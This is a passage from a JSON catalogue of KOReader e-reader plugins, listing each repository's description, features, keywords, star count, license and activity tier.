normally"],"keywords":["brave-api","koreader","koreader-plugin","webbrowser","text-based","web","browser","services","offline","search","kiwix","archive","run","server","configure","limitations","multiple","engine","profiles","profile","naming","rules","configuration","examples","articles","jina","cre","mupdf"],"topics":["brave-api","koreader","koreader-plugin","webbrowser"],"stars":98,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T03:27:54Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":22168,"detail":"detail/omer-faruq__webbrowser.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"IntrovertedMage/AO3Downloader.koplugin","owner":"IntrovertedMage","repo":"AO3Downloader.koplugin","url":"https://github.com/IntrovertedMage/AO3Downloader.koplugin","description":"","purpose":"Download and read works from Archive Of Our Own on the device. Unofficial.","categories":["content"],"features":["Browse and download from AO3 by either a singular tag or a detailed filter","Update and delete downloaded works from the download menu","Open downloaded works via the plugins menu to automatically track read chapters and open works at certain chapters","Search for and open users profiles and download the users works, series, bookmarks and gifted works","Profiles can also be open from the work search results menu by tapping the author category","~~Support using a AO3 account~~ - done","~~Commenting and giving kudos to works right from the plugin~~ - done","~~View all the works by a certain author~~ - done","Show tag bookmarks in the filter tag search menus","Search by tags by both tapping on them in the fanfic browser menu and tapping the tags link within the epub itself"],"keywords":["want","work","quick","search","filter","menu","downloaded","works","profile","open","download","tapping","certain","done","fanfic","link","series","tags","author","bookmarks","chapters","file","profiles","read","ao3","archive of our own","fanfiction"],"topics":[],"stars":97,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-08-13T21:01:42Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2438,"detail":"detail/IntrovertedMage__AO3Downloader.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"peterboda236/readinginsights.koplugin","owner":"peterboda236","repo":"readinginsights.koplugin","url":"https://github.com/peterboda236/readinginsights.koplugin","description":"A full-screen overlay with a comprehensive overview of your reading history, powered by KOReader's statistics database.","purpose":"More screenshots A set of reading-stats popups powered by KOReader's own statistics database. Nothing to configure to get started — install it, and your reading history is there. Four popups, all reachable from *Tools → Reading insights*:","categories":["ui","reading"],"features":["Last week — average time and pages per day; tap either to see its 8-week trend","Streaks — current and best daily & weekly streaks; tap any of them (or","Yearly & monthly — hours/days read and pages, navigable by year; a","All-time totals — cumulative hours and pages. Tap the \"Total read\"","Reading goal — this year's finished books over your target (e.g. 18/30),","A calendar of your reading with the streaks marked — page back through","Current and best streak side by side, each with its date range and","Most reading time in a day and most pages in a day, each with the date","Best daily streak, with its start–end dates","Last and next total-hours milestone, with hours left to the next"],"keywords":["koreader-plugin","full-screen","overlay","comprehensive","overview","reading","history","powered","statistics","database","insights","streak","records","achievements","book","progress","sleep","screen","updates","uninstalling","settings","developers","acknowledgements","pages"],"topics":["koreader-plugin"],"stars":95,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-08-16T12:39:29Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":8351,"detail":"detail/peterboda236__readinginsights.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Yuchen971/Kodashboard","owner":"Yuchen971","repo":"Kodashboard","url":"https://github.com/Yuchen971/Kodashboard","description":"A KOReader plugin that serves a local web dashboard for browsing your library, reading stats, calendar activity, and highlights/notes on any device in your local network.","purpose":"This plugin is primarily for my own use, and it's not intended to run as a continuously active web server on the Kindle.","categories":["sync","ui","web","library","files","reading","notes"],"features":["Launch the plugin when needed","Briefly access the dashboard from a phone or computer on the same local network","Stop the server after reviewing the data","Existing books do not show dashboard covers until cover files are saved","This is optional and not enabled by default","If you do not press Pull Covers in the frontend, no book covers will be shown","If you press Pull Covers, covers are now stored as WebP. In my test, ~50 covers used around 1.1 MB","The networking part is one of the biggest Kindle battery drains","My recommended use case is: start the plugin, review/screenshot what you need, then stop the server","Runs directly inside KOReader"],"keywords":["dashboard","javascript","koreader","koreader-plugin","koreader-plugins","lua","serves","local","web","browsing","library","reading","stats","calendar","activity","highlights","notes","any","device","network","important","clarification","kodashboard","books"],"topics":["dashboard","javascript","koreader","koreader-plugin","koreader-plugins","lua"],"stars":94,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-03-04T08:23:25Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":6977,"detail":"detail/Yuchen971__Kodashboard.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"hesan1232/fanqie.koplugin","owner":"hesan1232","repo":"fanqie.koplugin","url":"https://github.com/hesan1232/fanqie.koplugin","description":"koreader插件关于阅读番茄小说","purpose":"KOReader 插件，用于在电纸书设备上阅读番茄小说。 本插件支持三个书源，按优先级从高到低排列： 插件会按排序依次尝试可用书源。大灰狼排第一位，获取正文失败时自动回退到晴天，再回退到官方API。 番茄官方书源（书架/目录/进度）通过扫码登录获取 Cookie，无需手动复制粘贴 Cookie 字符串。","categories":["content"],"features":["🔑 扫码登录：番茄网页扫码登录，自动获取书架/进度/目录，无需手动配置 Cookie","📚 书架管理：浏览番茄小说，支持封面显示、按最后阅读时间排序","📖 章节阅读：支持章节导航、自动翻页、目录自动跳转","🔄 进度同步：自动同步阅读进度到服务器（进入阅读拉取+阅读中定期上传+离开自动上传）","⚡ 预下载：智能预下载后续章节，减少阅读等待（含限流保护，不阻塞阅读）","💬 段评功能：正文中显示段评数字气泡，点击查看段评详情（开关常驻设置页）","🔀 多书源：支持大灰狼、晴天、官方API 三个书源，自动检测可用线路","🎨 界面优化：适配墨水屏显示，纯黑白配色，无毛玻璃无平滑动画","📊 阅读统计：显示阅读进度（百分比/章节数）","📥 批量下载：支持下载全书，自动跳过已缓存章节，含限流等待"],"keywords":["fanqie","cookie","config","table","token","cookies","string","book","cache","cached","fallback","item","kindle","shelf","api"],"topics":[],"stars":93,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-08-10T17:38:21Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":17046,"detail":"detail/hesan1232__fanqie.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"naleo/audiobookshelf.koplugin","owner":"naleo","repo":"audiobookshelf.koplugin","url":"https://github.com/naleo/audiobookshelf.koplugin","description":"","purpose":"Browse and download books from an Audiobookshelf server you already run.","categories":["library","content"],"features":["Add your Audiobookshelf user's API key as token in the config file. This can be found on your audiobookshelf server at Settings >…","Add the server to the config file, specifically the url of your server (no trailing slash)"],"keywords":["audiobookshelf","click","config","file","server","book","list","available","books","details","download","downloadable","ebook","files","found","api","key","token","settings","specifically","url","trailing","slash","library"],"topics":[],"stars":90,"forks":15,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T04:46:07Z","license":"MIT","default_branch":"master","has_meta":true,"readme_bytes":1671,"detail":"detail/naleo__audiobookshelf.koplugin.json","activity":"active","tier":"A","tier_reasons":["curated","has_meta","active","documented"]},{"id":"roygbyte/crossword.koplugin","owner":"roygbyte","repo":"crossword.koplugin","url":"https://github.com/roygbyte/crossword.koplugin","description":"Crosswords on your KOReader device","purpose":"Solve crosswords on your KOReader powered device! See my article \"How I develop plugins for KOReader\" for an overview of this plugin's development process.","categories":["files","games"],"features":["Initialize the submodule (run git submodule update --init inside the crossword.koplugin folder, or visit the submodule repo,…","Attach your e-reader to your computer","Drag the entire folder (titled crossword.koplugin) to your e-reader, placing it in the plugins folder located at:…","Launch the plugin on your device (you'll find it in the main toolbar)","Click on \"Settings\" in the plugin's menu","Click on \"Set puzzles folder\" and choose the nyt_crosswords folder","Deleting the crossword history doesn't delete the underlying puzzle values. In other words, you can't delete the history and…","The puzzle library doesn't show you puzzles you have completed or are working in progress","There's no congratulatory message upon completing a puzzle (I would expect balloons)","There are no easter eggs"],"keywords":["crosswords","device","crossword","project","files","transfer","them","configure","development","testing","flaws","folder","puzzle","spec","submodule","click","computer","delete","doesn","download","e-reader","expect","history","puzzles"],"topics":[],"stars":87,"forks":7,"is_fork":false,"archived":false,"pushed_at":"2024-06-12T00:16:40Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1793,"detail":"detail/roygbyte__crossword.koplugin.json","activity":"dormant","tier":"B","tier_reasons":["has_meta","settled","documented"]},{"id":"Sudashiii/Sake","owner":"Sudashiii","repo":"Sake","url":"https://github.com/Sudashiii/Sake","description":"Self-hosted ebook library with KOReader sync, progress and notes synchronization, OPDS, WebDAV, and automatic book delivery.","purpose":"Sake Self-host your reading stack with a clean web library, KOReader sync, and provider-powered book imports. If you already use KOReader, Sake gives you a much nicer home base around it. You get a self-hosted web library, seamless progress sync, note-aware reading updates, easy book delivery to devices, and a…","categories":["sync","web","library","device","files","reading","notes"],"features":["Why Sake?","Quick start","Features","What lives in this repo?","Choose a setup","Configuration","First boot","KOReader plugin","Search providers and downloads","Useful commands"],"keywords":["ebook","ebooks","kindle","koreader","koreader-plugin","koreader-sync","library","ebook-library","ebook-server","ereader","kobo","opds","self-hosted","selfhosting","webdav","sync","progress","notes","synchronization","automatic","book","delivery","table","contents"],"topics":["ebook","ebooks","kindle","koreader","koreader-plugin","koreader-sync","library","ebook-library","ebook-server","ereader","kobo","opds","self-hosted","selfhosting","webdav"],"stars":86,"forks":8,"is_fork":false,"archived":false,"pushed_at":"2026-08-15T15:52:18Z","license":"AGPL-3.0","default_branch":"master","has_meta":false,"readme_bytes":14089,"detail":"detail/Sudashiii__Sake.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"SahandMalaei/ai-dictionary-koreader","owner":"SahandMalaei","repo":"ai-dictionary-koreader","url":"https://github.com/SahandMalaei/ai-dictionary-koreader","description":"Context-aware AI dictionary plugin for KOReader: instant definitions, explanations, deep dives, pronunciation, and vocabulary learning on e-ink devices.","purpose":"AI Dictionary is a dictionary/explanation plugin for KOReader that can have a transformative effect on your reading and learning. I built it out of personal frustration with the dictionary solutions that are currently available, and the resulting plugin is something I use every day with my reading. The limitations of…","categories":["dict","ai","device"],"features":["They give you multiple definitions of the same word and you need to figure out/guess which definition fits the context","The built-in dictionaries of ebook readers generally don't support looking up the definition of multi-part phrases and idioms","They can't give you the definition in the context of the book that you are reading, and might—understandably—lack the definiton…","Get KoReader installed on your e-reader/device","The default AI provider is OpenAI's ChatGPT. Acquire an API key from the OpenAI platform. Optional: Alternatively, you can use…","Once you have your API key, rename configuration.lua.sample to configuration.lua and inside it, replace YOUR_API_KEY with your…","You'll most probably want to disable the automatic launch of KOReader's default dictionary functionality on single-word…"],"keywords":["koreader-plugin","dictionary","ai-dictionary","boox","e-ink","ebook-reader","english-learning","ereader","kindle","kobo","koreader","language-learning","lua","pocketbook","vocabulary","contextual-dictionary","context-aware","instant","definitions","explanations","deep","dives","pronunciation","learning"],"topics":["koreader-plugin","dictionary","ai-dictionary","boox","e-ink","ebook-reader","english-learning","ereader","kindle","kobo","koreader","language-learning","lua","pocketbook","vocabulary","contextual-dictionary"],"stars":84,"forks":6,"is_fork":false,"archived":false,"pushed_at":"2026-08-09T16:05:02Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":5629,"detail":"detail/SahandMalaei__ai-dictionary-koreader.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"fischer-hub/annas.koplugin","owner":"fischer-hub","repo":"annas.koplugin","url":"https://github.com/fischer-hub/annas.koplugin","description":"Annas KOReader plugin! Search and download documents from Anna's Archive directly to your KOReader (tested on Kindle 11th gen).","purpose":"Disclaimer: This plugin is for educational purposes only. Please respect copyright laws and use this plugin responsibly.","categories":["device","files"],"features":["Ensure you are in the KOReader file browser","Access the Search menu","Select Anna's Archive","Enter your search terms and adjust language, format, and additional settings as needed and hit search","Under Search Results click on the entry you are interested in","Finally hit Format: (tap to download) and confirm again by tapping Download","No results found (even when searching for something general)","“All protocols failed” errors","Open an SSH session using KOReader","You will see a prompt with connection information"],"keywords":["eink","kindle","koreader","annas","search","download","documents","anna","archive","directly","tested","11th","gen","dns","settings","advanced","fix","kobo","dhcp","udhcpc","finishing","permanent","without","changing"],"topics":["eink","kindle","koreader"],"stars":83,"forks":10,"is_fork":true,"archived":false,"pushed_at":"2026-08-14T08:24:17Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4746,"detail":"detail/fischer-hub__annas.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"onatbas/bluetooth.koplugin","owner":"onatbas","repo":"bluetooth.koplugin","url":"https://github.com/onatbas/bluetooth.koplugin","description":"A plugin to easily turn bluetooth on and off in KOReader for Kobo Devices.","purpose":"Use a Bluetooth controller (like 8BitDo Micro) to turn pages and control KOReader on your Kobo. Support for MediaTek-based Kobo devices (Clara BW/Colour, Libra Colour, Elipsa 2E) is experimental, tests are conducted by community members; Libra Colour .","categories":["ui","device"],"features":["i.MX6 devices: Use bluetoothctl and hciattach","MTK devices: Use D-Bus service com.kobo.mtk.bluedroid","Bluetooth on/off via D-Bus (no kernel modules to load)","Device scanning and pairing via D-Bus","Smart input device detection using uhid pattern in /sys/class/input/","Device name matching between D-Bus and kernel input devices","Rename to bluetooth.koplugin","hasKeys flag - Required for button input to work","Event map - Default button mappings for 8BitDo controllers","Go to Bluetooth → Bluetooth On"],"keywords":["easily","turn","bluetooth","off","kobo","devices","page","turner","mtk","device","experimental","works","mtk-specific","known","issues","credits","step","copy","run","diagnostics","auto-fix","pair","controller","connect"],"topics":[],"stars":81,"forks":12,"is_fork":false,"archived":false,"pushed_at":"2026-01-04T17:38:06Z","license":"MIT","default_branch":"main","has_meta":false,"readme_bytes":8704,"detail":"detail/onatbas__bluetooth.koplugin.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"xusoo/shortcutstoolbar.koplugin","owner":"xusoo","repo":"shortcutstoolbar.koplugin","url":"https://github.com/xusoo/shortcutstoolbar.koplugin","description":"Shortcuts Toolbar for KOReader","purpose":"Shortcuts Toolbar adds a configurable shortcut bar to KOReader's reader and file-browser menus. It gives you quick access to common actions, optional reader information, and separate shortcut layouts for the reader and the file browser.","categories":["ui"],"features":["Adds a toolbar to the reader menu","Adds a toolbar to the file browser, either inside the menu or as a persistent top bar","Can show book info, time, battery, and a back-to-library button in the reader","Lets you enable, disable, and reorder built-in and custom shortcuts","Supports custom shortcuts based on menu actions, dispatcher actions, or patch callbacks","Includes a patch API for creating your custom shortcuts","Font family settings","Bookmarks","Search","Table of contents"],"keywords":["shortcuts","toolbar","does","available","custom","api","simpleui","integration","project","shortcut","menu","file","action","browser","module","actions","view","adds","dispatcher","registered","settings","also","battery","book"],"topics":[],"stars":81,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-07-02T17:01:33Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":3912,"detail":"detail/xusoo__shortcutstoolbar.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"oleasteo/koreader-screenlockpin","owner":"oleasteo","repo":"koreader-screenlockpin","url":"https://github.com/oleasteo/koreader-screenlockpin","description":"Protect your KOReader with a PIN","purpose":"A fast, sophisticated PIN Lock Screen that protects your KOReader content from unauthorized access. Just what you'd expect from a PIN lock screen…","categories":["ui","device"],"features":["🔒 Lock on wakeup — secures your device after sleep","🪝 Lock on boot — secures your device on KOReader boot","🛡️ Privacy first — hides everything but your wallpaper from public eyes","🔋 Device Info — glimpse the time & battery on the lock screen","🚷 Rate Limit — forced delays after repeatedly failed attempts","🪄 Instant unlock — immediate response, no extra confirmation button","🪧 Contact notes — people should know how to return a lost device","🎯 Customizable layout — can be configured for single-handed use","🔆 Frontlight control — easily turn on the screen light in a dark environment","🪃 Lightweight design — optimized for performance"],"keywords":["koreader","koreader-plugin","protect","pin","screenlockpin","public","api","compatibility","faq","have","lost","unlock","change","lock","screen","background","disabled","wakeup","now","device","stays","wallpaper","any","way"],"topics":["koreader","koreader-plugin"],"stars":78,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-05-02T15:34:58Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":5267,"detail":"detail/oleasteo__koreader-screenlockpin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"0xmiki/telegramhighlights.koplugin","owner":"0xmiki","repo":"telegramhighlights.koplugin","url":"https://github.com/0xmiki/telegramhighlights.koplugin","description":"Get nice image quotes from your kindle straight to your telegram through a bot @bookshotsbot","purpose":"Send book highlights and screenshots from KOReader to a Telegram bot @bookshotsbot with ease. Select text or use existing highlights, then send or save-and-send to the bot.","categories":["ui","web","files","reading","notes"],"features":["Send selected text or existing highlights to @bookshotsbot","Send to Bot: Sends text with image quote","Save & Send: Saves the highlight and sends image quote","Upload all your bookmarks of a book to cloud","Bulk send all your bookmarks at once","Delete duplicates on the miniapp with one click","Send bookmarks individually","Auto turn on and turn off Wi-Fi after sending (may not work on Android-based e-readers)","Configure this setting in your koreader's settings -> network -> action when wifi is off / action when done with Wi-Fi","Send screenshots to bot"],"keywords":["nice","image","quotes","kindle","straight","telegram","through","bot","bookshotsbot","highlights","requirements","code","send","bulk","bookmarks","individual","customize","quote","images","examples","about","highlight","miniapp","text"],"topics":[],"stars":77,"forks":3,"is_fork":false,"archived":false,"pushed_at":"2026-07-18T22:21:36Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3042,"detail":"detail/0xmiki__telegramhighlights.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"finlater/kindlebtcontroller.koplugin","owner":"finlater","repo":"kindlebtcontroller.koplugin","url":"https://github.com/finlater/kindlebtcontroller.koplugin","description":"A KOReader plugin that enables Bluetooth game controllers / remote controllers to control your Kindle — page turning, brightness adjustment, chapter navigation, and more.","purpose":"🇨🇳 中文文档 A KOReader plugin that enables Bluetooth game controllers / remote controllers to control your Kindle — page turning, brightness adjustment, chapter navigation, and more.","categories":["ui","device","files","games"],"features":["Bluetooth Control — Toggle Bluetooth on/off directly from KOReader menu","Fully Customizable Key Mapping — Map any controller button or joystick axis to 20+ actions","Multi-Action Support — Bind multiple actions to a single button press","Key Tester — Real-time detection of controller button codes with instant mapping","Auto Reconnect — Automatically detects and reloads device within 3 seconds after Bluetooth reconnection","Unmapped Key Alert — Shows a brief notification when an unmapped button is pressed","Gesture Integration — All functions can be bound to KOReader gestures","Persistent Settings — User-modified mappings are saved separately from default config","Software: KOReader installed on your Kindle","Controller: Any Bluetooth HID gamepad or remote (Classic BR/EDR Bluetooth only, BLE is NOT supported)"],"keywords":["bluetooth","kindle","koreader","page-turner","plugin","plugins","remote-control","koreader-plugin","enables","game","controllers","remote","control","page","turning","brightness","adjustment","chapter","navigation","more","controller","actions","devices","requirements"],"topics":["bluetooth","kindle","koreader","page-turner","plugin","plugins","remote-control","koreader-plugin"],"stars":77,"forks":7,"is_fork":false,"archived":false,"pushed_at":"2026-07-14T15:38:01Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":11810,"detail":"detail/finlater__kindlebtcontroller.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ebanDev/iconschanger.koplugin","owner":"ebanDev","repo":"iconschanger.koplugin","url":"https://github.com/ebanDev/iconschanger.koplugin","description":"","purpose":"This plugin allows you to change KOReader's icon pack by downloading icons from the Iconify API and applying custom icon mappings.","categories":["sync","ui"],"features":["Backup and restore functionality for original icons","Support for popular icon packs like Lucide, Feather, Heroicons, Material Design Icons, and many others","Optional matching SimpleUI icon customization","Easy-to-use interface integrated into KOReader's menu system","The plugin will appear in the \"More tools\" menu as \"Icon Pack Changer\"","Go to Settings → More tools → Icon Pack Changer → Download Icon Pack","Enter the name of an icon pack (e.g., \"lucide\", \"feather\", \"heroicons\")","The plugin will automatically create a mapping between KOReader's current icons and the new pack","Apply an Icon Pack","Select from your downloaded icon packs"],"keywords":["icon","pack","changer","basic","simpleui","integration","popular","packs","custom","mappings","works","iconify","api","backup","safety","troubleshooting","credits","icons","original","download","restore","directory","applying","files"],"topics":[],"stars":75,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-05-31T21:01:54Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4517,"detail":"detail/ebanDev__iconschanger.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Lalocaballero/readmastery.koplugin","owner":"Lalocaballero","repo":"readmastery.koplugin","url":"https://github.com/Lalocaballero/readmastery.koplugin","description":"ReadMastery is a KOReader plugin that transforms your reading experience into an RPG-style adventure. Earn XP, level up, maintain streaks, and unlock achievements as you read!","purpose":"ReadMastery is a KOReader plugin that transforms your reading experience into an RPG-style adventure. Earn XP, level up, maintain streaks, and unlock achievements as you read!","categories":["ui","files","reading"],"features":["Fixed ProjectTitle footer integration (#11): The previous patch-based approach for PT footer didn't work reliably because patches…","Removed deprecated 2-projecttitle-footer-readmastery.lua patch file","PT footer integration now uses a modified covermenu.lua approach (more reliable)","Updated installation instructions for PT footer setup","Fixed crash with CBZ/comic files (#8, #3): The plugin no longer crashes when opening CBZ or other document types that don't…","Fixed Random Page triggering multiple achievements (#5): Using the \"Random Page\" feature (or any large page jump via TOC,…","Fixed streak reset on book finish (#7): Finishing a book no longer incorrectly resets the reading streak. The streak logic now…","Fixed ASCII art distortion in landscape mode (#10): Achievement and tier-up popups now use the dedicated AsciiPopup widget with…"],"keywords":["readmastery","transforms","reading","experience","rpg-style","adventure","earn","level","maintain","streaks","unlock","achievements","read","gamify","core","mechanics","progressive","unlocks","changelog","2026-03-05","bug","fixes","changes","2026-03-02"],"topics":[],"stars":73,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-03-05T16:57:44Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":15358,"detail":"detail/Lalocaballero__readmastery.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Fank1/foot-cream","owner":"Fank1","repo":"foot-cream","url":"https://github.com/Fank1/foot-cream","description":"Don't let foreign units distract you when reading. Footcream is a KOReader plugin that converts measurements to something you understand.","purpose":"Are you tired of mentally trying to convert \"six foot four\" or \"ninety degrees Fahrenheit\" while reading English books? The Footcream plugin for KOReader scans your book once, finds every measurement and converts it to the unit system you think in. Imperial books become metric, and metric books become imperial: *\"1.8…","categories":["reading"],"features":["Both directions: set Convert units to Metric, Imperial (US) or Imperial (UK). Metric books get natural imperial compounds, like…","3 reading modes","Underline & tap: non-destructive. Measurements get a distinct underline; tap one for a popup with the conversion","Alongside original (in text): inserts the conversion as a parenthetical gloss (e.g. *\"six feet (1.8 m)\"*), keeping the original…","Converted only (in text): rewrites the book's text in place (e.g. *\"six feet\"* → *\"1.8 m\"*). Fully reversible","Per-book off switch: *\"Enable Footcream in this book\"* turns it off for one book (restores its text, stops prompts) while every…","Self-explaining menu: long-press any menu item for a plain-language explanation of what it does","Distinct highlight style: plugin underlines never get confused with your own highlights"],"keywords":["ebook","koreader","koreader-plugin","koreader-plugins","don","let","foreign","units","distract","reading","footcream","converts","measurements","something","understand","smart","handling","pounds","weight","money","other","smartness","three","modes"],"topics":["ebook","koreader","koreader-plugin","koreader-plugins"],"stars":72,"forks":2,"is_fork":false,"archived":false,"pushed_at":"2026-08-12T10:39:17Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":13826,"detail":"detail/Fank1__foot-cream.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"loeffner/WeatherLockscreen","owner":"loeffner","repo":"WeatherLockscreen","url":"https://github.com/loeffner/WeatherLockscreen","description":"Weather Lockscreen plugin for KOReader","purpose":"A comprehensive KOReader plugin that displays beautiful weather information on your device's sleep screen. Navigate to Tools > Weather Lockscreen Configure the following:","categories":["device"],"features":["Real-time Weather Data - Displays current weather conditions with icons, temperature, and detailed descriptions","Several Display Formats - Choose from multiple layout options to suit your preferences","Active Sleep - The device will temporarily wake up from sleep to refresh data if enabled (Kindle only)","Easy Configuration - Configure settings via main menu, no need to edit source code","Smart Caching - Automatic caching with configurable expiration","Offline Support - Uses cached data when internet connection is unavailable","Kindle: /mnt/us/koreader/plugins/","Kobo: /mnt/onboard/.adds/koreader/plugins/","Android: /sdcard/koreader/plugins/","Go to the plugin settings via Tools > Weather Lockscreen"],"keywords":["jailbreak","kindle","koreader","koreader-plugin","weather-app","weather","lockscreen","configuration","initial","setup","display","modes","active","sleep","dashboard","kobo","only","additional","requirements","works","dasboard","api","information","localization"],"topics":["jailbreak","kindle","koreader","koreader-plugin","weather-app"],"stars":72,"forks":6,"is_fork":false,"archived":false,"pushed_at":"2026-06-28T11:25:05Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":10282,"detail":"detail/loeffner__WeatherLockscreen.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"gytwo/pinyin_enhancement.koplugin","owner":"gytwo","repo":"pinyin_enhancement.koplugin","url":"https://github.com/gytwo/pinyin_enhancement.koplugin","description":"在koreader拼音输入法上方显示候选词栏，点击即可输入汉字。支持词频排序、首字母拼音、扩展码表。","purpose":"KOReader 插件 - 拼音输入法增强：在拼音输入法上方显示候选词栏，点击即可输入汉字。 下载解压后将 `pinyin_enhancement.koplugin` 文件夹放到 `koreader\\plugins` 目录下。","categories":["dict"],"features":["[设置] - [拼音输入法增强] - 选择启用拼音候选词（默认启用，可关闭，支持快捷手势操作）。","候选栏左侧拼音按键会实时显示用户输入的拼音：","单击：直接输入拼音并清空候选栏状态","长按：清空当前拼音状态","菜单配置项目：","候选词来源：","KOReader 源码表：ui/data/keyboardlayouts/zh_pinyin_data.lua","首字母拼音码表：zh_pinyin_data_abbr.lua","扩展码表：lexicon","根据 KOReader 源码 ui/data/keyboardlayouts/zh_pinyin_data.lua 生成"],"keywords":["koreader-plugin","koreader","pinyin","enhancement","data","https","gitee","github","gytwo","idiom","keyboardlayouts","lexicon","node","lua","abbr"],"topics":["koreader-plugin","koreader"],"stars":71,"forks":6,"is_fork":false,"archived":false,"pushed_at":"2026-07-06T11:17:16Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4884,"detail":"detail/gytwo__pinyin_enhancement.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"qewer33/quickrss.koplugin","owner":"qewer33","repo":"quickrss.koplugin","url":"https://github.com/qewer33/quickrss.koplugin","description":"A fast, standalone and easy to use RSS reader for KOReader","purpose":"A fast, standalone and easy to use RSS reader plugin for KOReader. Browse and read articles from your favourite feeds without leaving your e-reader.","categories":["web","files"],"features":["Thumbnail cards with a 16:9 cover-cropped image, bold title, source · date line, and a snippet preview","Paginated list with swipe or hardware page-turn key navigation","Read/unread tracking — unread articles show bold titles, read articles show regular weight","Filter by feed, unread-only, saved-only, or any combination","Pull-to-refresh fetches all feeds and updates the cache in one tap","Full HTML rendering via KOReader's built-in engine (paragraphs, bold, lists, images)","Banner image at the top, followed by title, source · date · estimated reading time","Swipe left/right or use the footer buttons to move between articles","Articles are automatically marked as read when opened or navigated to","Tap any link to copy it to clipboard or show a QR code for scanning on another device"],"keywords":["fast","standalone","easy","rss","development","linux","desktop","adding","feeds","fetching","articles","reading","article","saving","settings","custom","dns","routing","filtering","deleting","project","structure","data","storage"],"topics":[],"stars":70,"forks":7,"is_fork":false,"archived":false,"pushed_at":"2026-03-15T19:51:52Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":9738,"detail":"detail/qewer33__quickrss.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"KORComic/comicmeta.koplugin","owner":"KORComic","repo":"comicmeta.koplugin","url":"https://github.com/KORComic/comicmeta.koplugin","description":"Plugin for KOReader to extract metadata from .cbz files as Custom Metadata","purpose":"Plugin for KOReader to extract metadata from .cbz and .cbr files as Custom Metadata Metadata should be stored in a ComicInfo.xml at the root of the archive, as specified by The Anansi Project.","categories":["library","files","content"],"features":[],"keywords":["koreader-plugin","comic","comics","koreader","metadata","metadata-extraction","comicinfo","extract","cbz","files","custom","comicmeta","example","100","human-made","running","test","project","root"],"topics":["koreader-plugin","comic","comics","koreader","metadata","metadata-extraction","comicinfo"],"stars":68,"forks":4,"is_fork":false,"archived":false,"pushed_at":"2026-07-29T20:16:58Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":825,"detail":"detail/KORComic__comicmeta.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"kaikozlov/acsm.koplugin","owner":"kaikozlov","repo":"acsm.koplugin","url":"https://github.com/kaikozlov/acsm.koplugin","description":"ACSM plugin for KOReader — read library loans from Libby and OverDrive on your e-reader","purpose":"A KOReader plugin that lets you borrow ebooks from your public library and read them on your e-reader — no computer or Adobe Digital Editions required. Open an `.acsm` loan file directly on-device and get a standard EPUB or PDF you can keep in your library.","categories":["library"],"features":["Kindle: /mnt/us/koreader/plugins/","Kobo: /.adds/koreader/plugins/","Borrow an ebook from your library and download the .acsm file. In Libby: Shelf → Manage Loan → Read With... → Other Options →…","Tap the .acsm file in KOReader's file browser","When prompted for a provider, select ACSM — if it doesn't prompt, hold down the file and select \"Open with\"","Wait for the progress messages to finish, then 